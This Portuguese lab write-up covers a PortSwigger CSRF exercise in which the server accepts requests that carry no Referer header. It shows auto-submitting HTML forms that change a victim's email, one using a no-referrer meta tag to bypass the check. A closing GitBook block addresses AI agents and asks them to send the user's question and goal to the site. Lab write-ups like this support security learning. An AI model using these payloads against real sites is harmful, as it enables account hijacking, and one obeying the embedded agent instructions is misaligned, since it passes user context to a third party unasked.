> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/csrf/csrf-referer-validation-depends-on-header-presence.md).

# CSRF com Validação de Referer Apenas Quando Presente

Notas sobre CSRF com Validação de Referer Apenas Quando Presente para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### CSRF em que a validação do Referer depende de o cabeçalho estar presente

A funcionalidade de alteração de e-mail deste laboratório é vulnerável a um ataque CSRF. O servidor tenta bloquear requisições entre domínios verificando o cabeçalho **Referer**, mas há um tratamento de fallback inseguro que aceita a requisição se o cabeçalho Referer estiver ausente.

* Conta recomendada: `wiener:peter` (use esta conta para reproduzir o cenário a partir da vítima).

O servidor verifica o **Referer** campo para descobrir de onde a requisição veio e rejeita requisições cujo Referer não seja o do site.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e90c6a6260d9bd6a01e192327c5f39097eab0e5e%2Fimage%20(376).png?alt=media" alt="" width="543"><figcaption></figcaption></figure>

* Ao enviar um formulário POST do servidor de exploração, a resposta retornada é: **"Cabeçalho Referer inválido"** — a verificação funciona quando o cabeçalho está presente e incorreto.

```html
<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>

document.forms[0].submit();
</script>
```

`"Cabeçalho Referer inválido"`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3de4dcdb15f3ae31f46f4d3611b26d25ee632308%2Fimage%20(377).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ea40a911c69b177e822f3faffdd11ff174ad69d%2Fimage%20(378).png?alt=media" alt=""><figcaption></figcaption></figure>

No entanto, se a requisição chegar **sem** sem o cabeçalho Referer, o servidor aceita a requisição (comportamento de fallback perigoso).

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-674f0b3404c8653055da1aa94cb28e02790c9f72%2Fimage%20(379).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Método de funcionamento (princípio)

1. Hospede uma página no servidor de exploração que envie um formulário POST para `/my-account/change-email` com o e-mail do atacante.
2. Force a página de exploração a **remover** o cabeçalho Referer do navegador para que a validação falhe como bloqueio (já que o servidor aceita a ausência de Referer).
3. Uma maneira simples de pedir ao navegador que não envie o Referer é adicionar uma `<meta name="referrer" content="no-referrer">` tag à página de exploração antes de enviar o formulário.

```html
<head>
   <meta name="referrer" content="no-referrer">
</head>
<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>

document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/csrf/csrf-referer-validation-depends-on-header-presence.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
